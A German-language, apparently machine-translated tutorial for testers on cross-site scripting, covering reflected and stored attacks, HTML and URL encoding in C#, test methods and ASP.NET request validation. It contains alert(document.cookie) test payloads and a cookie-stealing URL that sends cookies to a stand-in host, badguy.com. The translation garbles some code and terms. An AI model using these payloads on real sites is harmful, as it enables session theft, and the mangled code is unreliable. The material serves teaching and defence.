Websicherheitstests XSS
XSS Full Name (Cross Site Scripting) Cross-Site-Skriptangriff ist die häufigste Anfälligkeit in Webprogrammen. Es bezieht sich auf einen Angreifer, der Client -Skripte (wie JavaScript) in eine Webseite einbettet. Wenn der Benutzer auf dieser Webseite durchsucht, wird das Skript im Browser des Benutzers ausgeführt, wodurch der Zweck des Angreifers erreicht wird. Zum Beispiel die Cookies des Benutzers erhalten, zu böswilligen Websites navigieren, Trojaner tragen usw.
Als Tester müssen Sie die Prinzipien von XSS, Angriffsszenarien und die Behebung verstehen. Nur durch effektives Verhinderung von XSS.
Inhalt lesen
Wie passiert XSS?
Wenn unten ein Textfeld gibt
<Eingabe type = "text" name = "address1" value = "value1from">
Value1FROM wird vom Benutzer eingegeben. Wenn der Benutzer Value1From nicht eingibt, sondern "/><Script> Alt(document.cookie)</Script><!- dann wird es
<Eingabe type = "text" name = "address1" value = ""/> <script> alert (document.cookie) </script> <!- ">
Der eingebettete JavaScript -Code wird ausgeführt
Oder der Benutzer tritt "onfocus =" alert (document.cookie) ein, dann wird es
<Eingabe type = "text" name = "address1" value = "" onfocus = "alert (document.cookie)">
Wenn das Ereignis ausgelöst wird, wird der eingebettete JavaScript -Code ausgeführt
Die Kraft des Angriffs hängt davon ab, welches Skript der Benutzer eingibt
Natürlich können die vom Benutzer eingereichten Daten auch über QueryString (in die URL) und Cookies an den Server gesendet werden. Zum Beispiel die folgende Abbildung
HTML -Encode
XSS erfolgt, weil die vom Benutzer eingegebenen Daten zu Code werden. Daher müssen wir die HTML -Encode -Verarbeitung für die vom Benutzer eingegebenen Daten durchführen. Codieren Sonderzeichen wie "Klammern", "einzelne Zitate" und "Zitate".
Bereits verfügbare Methoden sind in C#bereitgestellt. Rufen Sie einfach httputility.htmlencode ("String <Critp>") auf. (Erfordert das System.Web Assembly)
Fiddler bietet auch ein sehr bequemes Werkzeug. Klicken Sie in der Symbolleiste auf die Schaltfläche "Textwizard"
XSS -Angriffsszenario
1. Der DOM-basierte XSS-Angriffsprozess ist wie folgt
Tom entdeckte eine XSS -Verwundbarkeit auf einer Seite in Opfer.com.
Zum Beispiel: http://victim.com/search.asp?term=apple
Der Code der Seite such.asp auf dem Server ist grob wie folgt
<html> <titels> </title> <body> Ergebnisse für <%request.queryString ("Term")%> ... </body> </html>Tom erstellt zunächst eine Website http://badguy.com, um Informationen von "Stealing" zu erhalten.
Dann konstruiert Tom eine böswillige URL (wie folgt) und sendet sie in irgendeiner Weise nach Monica (E -Mail, QQ)
http://victim.com/search.asp?term= <Script> window.open ("http://badguy.com?cookie="+document.cookie) </script>
Monica klickt auf diese URL, und der in der URL eingebettete bösartige JavaScript -Code wird in Monicas Browser ausgeführt. Anschließend werden Monicas Cookies auf der Website von Opfer.com an die Badguy -Website gesendet. Auf diese Weise wurden Monicas Informationen über Opfer.com von Tom gestohlen.
2. Speichern XSS (gespeicherte XSS -Sicherheitsanfälligkeit), dieser Typ ist eine häufig verwendete Anfälligkeit und kann die Sicherheit großer Webserver beeinflussen. Der Angreifer lädt das Angriffskript auf den Webserver hoch und lässt alle Benutzer, die auf die Seite zugreifen, zur Möglichkeit von Informationslecks. Der Angriffsprozess ist wie folgt
Alex entdeckte eine XSS -Verwundbarkeit vor Ort A, mit der der Angriffscode in einer Datenbank gespeichert werden kann.
Alex hat einen Artikel mit böswilligen JavaScript -Code veröffentlicht, der darin eingebettet ist.
Wenn andere Personen wie Monica bei Zugriff auf diesen Artikel der in den Artikel eingebettete böswillige JavaScript -Code in Monicas Browser ausgeführt werden und seine Sitzungs -Cookies oder andere Informationen von Alex gestohlen werden.
Die DOM-basierte XSS-Verwundbarkeit bedroht einzelne Benutzer, während gespeicherte XSS-Schwachstellen eine große Anzahl von Benutzern bedrohen.
XSS -Sicherheitslager
Prinzip: Vertrauen Sie nicht den vom Kunden eingegebenen Daten
Hinweis: Der Angriffscode ist nicht unbedingt in <Script> </script> ist
So testen Sie XSS -Schwachstellen
Methode 1: Zeigen Sie den Code an und suchen Sie wichtige Variablen. Der Client überträgt Daten an den Webserver. Im Allgemeinen in drei Arten QueryString, Form Formen und Cookies. In ASP -Programmen werden beispielsweise die Variablen des Kunden über das Anforderungsobjekt erhalten.
<%strusercode = request.queryString ("Code"); struser = request.form ("user"); strid = request.cookies ("id");%>Wenn die Variable nicht von HTMlencode verarbeitet wird, gibt es in dieser Variablen eine XSS -Sicherheitsanfälligkeit
Methode 2: Bereiten Sie das Testskript vor,
"/><Script>Alert(document
Geben Sie in der Textbox oder an anderen Stellen, an denen Daten eingegeben werden können, diese Testskripte ein, um festzustellen, ob das Dialogfeld angezeigt werden kann. Wenn es auftauchen kann, bedeutet dies eine XSS -Verwundbarkeit
Schauen Sie sich an, welche Variablen über die URL an den Webserver übergeben werden, und geben Sie die Werte dieser Variablen in unser Testskript zurück. Sehen Sie dann, ob unser Skript ausgeführt werden kann
Methode 3: Testen Sie automatisch XSS -Schwachstellen
Es gibt jetzt viele XSS -Scan -Tools. Das Implementieren von XSS -automatisierten Tests ist sehr einfach. Sie müssen nur die HTTPWebRequest -Klasse verwenden. Setzen Sie das XSS -Testskript ein. Senden Sie an den Webserver. Überprüfen Sie dann, ob unser XSS -Testskript in httpwebresponse injiziert wurde.
Der Unterschied zwischen HTML -Encode und URL -Encode
Am Anfang habe ich diese beiden Dinge immer verwirrt, aber tatsächlich waren sie zwei verschiedene Dinge.
Die HTML -Codierung wurde zuvor eingeführt. Die URL -Codierung soll den URL -Spezifikationen entsprechen. Denn in der Standard -URL -Spezifikation dürfen Chinesisch und viele Zeichen nicht in der URL erscheinen.
Suchen Sie beispielsweise in Baidu nach "testen chinesischen Zeichen". Die URL wird werden
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputt=7477
URL-Codierung lautet: Alle nicht alphanumerischen Zeichen werden durch ein prozentuales Zeichen (%) ersetzt, gefolgt von zwei hexadezimalen Zahlen, und Leerzeichen werden als Pluszeichen (+) codiert
Bereits verfügbare Methoden sind in C#bereitgestellt. Rufen Sie einfach httputility.urlencode ("String <Scritp>") auf. (Erfordert das System.Web Assembly)
Fiddler bietet auch ein sehr bequemes Werkzeug. Klicken Sie in der Symbolleiste auf die Schaltfläche "Textwizard"
XSS -Filter im Browser
Um zu verhindern, dass XSS auftritt, haben viele Browserhersteller ihren Browsern Sicherheitsmechanismen hinzugefügt, um XSS zu filtern. Zum Beispiel IE8, IE9, Firefox, Chrome. Alle haben Sicherheitsmechanismen für XSS. Der Browser blockiert XSS. Zum Beispiel das folgende Bild
Wenn Sie einen Test durchführen müssen, verwenden Sie IE7 am besten.
XSS -Sicherheitsmechanismus in ASP.NET
ASP.NET hat einen Mechanismus, um XSS zu verhindern. Das eingereichte Formular wird automatisch prüfen, ob XSS vorhanden ist. Wenn der Benutzer versucht, den XSS -Code einzugeben, wirft ASP.NET einen Fehler auf, wie in der folgenden Abbildung gezeigt.
Viele Programmierer haben keine Ahnung von Sicherheit und wissen nicht einmal, dass es XSS gibt. ASP.NET ist zu diesem Zeitpunkt standardmäßig sicher. Auf diese Weise können selbst Programmierer ohne Sicherheitsbewusstsein eine "sicherere Website" schreiben.
Wenn Sie diese Sicherheitsfunktion deaktivieren möchten, können Sie < %@ Page validateRequest = "False" %> verwenden
Das obige ist der Web -Sicherheitstest XSS. Wir werden in Zukunft relevante Softwaretestmaterialien organisieren. Vielen Dank für Ihre Unterstützung für diese Seite!